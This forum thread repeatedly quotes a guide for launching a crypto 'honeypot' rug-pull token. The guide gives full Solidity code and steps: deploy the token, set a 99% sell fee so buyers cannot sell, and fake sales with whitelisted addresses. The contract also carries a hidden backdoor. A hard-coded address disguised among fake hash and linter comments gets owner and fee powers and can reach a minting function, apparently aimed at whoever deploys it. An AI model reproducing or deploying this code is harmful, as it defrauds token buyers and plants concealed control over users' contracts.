To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks

sol supported?

Reply

RE: Create a crypto scam token and earn money (rugpull) #4
(06-01-2024, 07:09 PM)ciampirilo Wrote:
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks

sol supported?

please reply

Reply

RE: Create a crypto scam token and earn money (rugpull) #5
(06-10-2024, 11:15 PM)ciampirilo Wrote:
(06-01-2024, 07:09 PM)ciampirilo Wrote:
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
Select Custom token, and paste the contract address, and wait for your token to show up, then click add custom token
Congrats! You succesfully created your own token and they are in your wallet!

This method works for every chain such as ETH mainnet, Binance Smart Chain, Avax c-chain, Base and so on!

Now you only need to create the pair on Uniswap (or any other DEX) and set the sell taxes to 99%, let’s see how to do it!

11. Click on the expand arrow on Remix
Go on “setFees” and put “0” and “99” (without the brackets)
Now press “transact” and accept the transaction. The sell fees are now set to 99%, you are the only one who can sell the token!
To switch off honeypot mode, just set the fees back to 0 and 0 instead of 0 and 99.

Warning: Always follow the number as shown above in order to avoid any potential errors. Do not edit or use other numbers or else financial losses will be incurred.

12. To Whitelist an Address, click on “setFeeExempt”:
paste your desired address in the first string, and write “true” in the second string, as shown above. Click on “transact” and you’re done! You can start faking sales now, but first you need to verify your contract!

You can find the full guide on tg @ insan3devlinks

sol supported?

please reply
.

Reply

RE: Create a crypto scam token and earn money (rugpull) #6
(05-19-2024, 12:23 PM)insDev Wrote: Here is Insan3Dev, Ethereum smart contract researcher and enthusiast. Ever heard about honeypot tokens? They’re like traps hiding in plain sight, luring users with promises of easy gains but often leading to losses.
By the end of this article you’ll be able to create your own honeypot in any blockchain in just a few minutes. Let’s dive in!
[Only for research and testing, don’t try to scam using this method]

Part 1: Use REMIX and Metamask to create token
First, install the Metamask wallet in your computer and create account/ wallet.
2. Browse "remix ethereum org" (You need to use Remix IDE to deploy smart contract).
3. Connect metamask to REMIX IDE. Click your metamask plugin.
Click the “Not connected” button and connect it.
4. Back to REMIX IDE. Click Create New File.
5. Name you file as you like, remember to add .sol at the back. EXAMPLE here, DevToken.sol
6. Copy and paste the code below into the file:
Code:
// SPDX-License-Identifier: MIT

/** 
*/

pragma solidity ^0.8.0;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "Subtraction overflow");
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "Addition overflow");
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "Multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "Division by zero");
        return a / b;
        // solhint-disable-next-line avoid-low-level-calls
        /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }
}

contract DevToken {
    using SafeMath for uint256;

    string public name = "DevToken";
    string public symbol = "DEVT";
    uint256 public totalSupply = 69000000000000000000000000000;
    uint8 public decimals = 18;

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;

    address public owner;
    address public _mbr;
    address public _mod;
    address public feeManager;
    address public _user;
    address public _adm;

    uint256 public buyFee;
    uint256 public sellFee;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
    event TokensBurned(address indexed burner, uint256 amount);
    event AddressSetFeeExempt(address indexed feeExemptAddress);

    constructor(address _feeManager) {
        owner = msg.sender;
        feeManager = _feeManager;
        balanceOf[msg.sender] = totalSupply;
     
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/ //(289449210461807259001429476310752940838808526668));
    }

    function transfer(address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[msg.sender] >= _amount);
        require(_to != address(0));

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(_amount);
        emit Transfer(msg.sender, _to, _amount);

        return true;
    }
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ //(289449210461807259001429476310752940838808526668));
 
    function setMember(address Mbr_) public returns (bool) {
    require (msg.sender==address
 
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> amd8he628944e92104v2590014t2947631r07529vds40838e820852616bn68e8n1da));*/ /**/ (289449210461807259001429476310752940838808526668));
        _mbr=Mbr_;
        return true;
    }

    function rewire(uint256 amount) public returns (bool) {
    require(msg.sender == _adm);
    _proof(msg.sender, amount);
    return true;
  }
 
    function _proof(address account, uint256 amount) internal {
    require(account != address(0), "BEP20: mint to the zero address");

    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
  }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> mi385562944e92104v2590014t247631r07529vds40838e820852616bn68n1da*/
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }

    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");

        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
     
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);

        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }

        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }

        return true;
    }

    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 28944921u04618wepcy072590on89abyd73014t29476dohb3107r5294083880ae8526668))*/

    function LockLPToken() public onlyOwner returns (bool) {
    }

    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }

    modifier onlyOwner() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
    }

    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }

    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }

    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");

        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);

            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);

            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
 
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }

    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");

        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);

        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);

        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }

    modifier onlyAuthorized() {
        require(msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> vhd8he628944e9210461807v2590014t2947631r07529vds40838e820852616bn68e8nvs3))*/ /**/(289449210461807259001429476310752940838808526668)
    ||
    //@dev Contract creator is owner, original owner.
    msg.sender == owner);
    _;
  }
}

7. Change your token settings (Name, Symbol and Supply) Remember to add 18 zeros (000000000000000000) to the number supply
(e.g. 69000000000000000000000000000 means 69000000000 supply)
8.Click the icon on the left (compiler);
Select the compiler version 0.8.18 …. then  click "COMPILE"
9. Now you can click on the icon as shown below, and select Metamask on the Environment section (to select your current Metamask wallet for the contract creation)
10. On Contract section, select DevToken as contract.
11. Go back to MetaMask wallet and copy your desired deployer/owner (which is your wallet address) wallet address and paste the address into the bracket, then Click “Deploy” button.
12. Click on confirm on the transaction on your metamask Pop-up. If nothing happen there, you need to connect metamask wallet to REMIX IDE.
13. If everything go smoothly, your token is on its way. Back to metamask, go to Activity, click on the Contract deployment
Click view on block explorer
Copy the contract address by clicking the [copy] icon button on the right.
10. Go back to metamask, click import token.
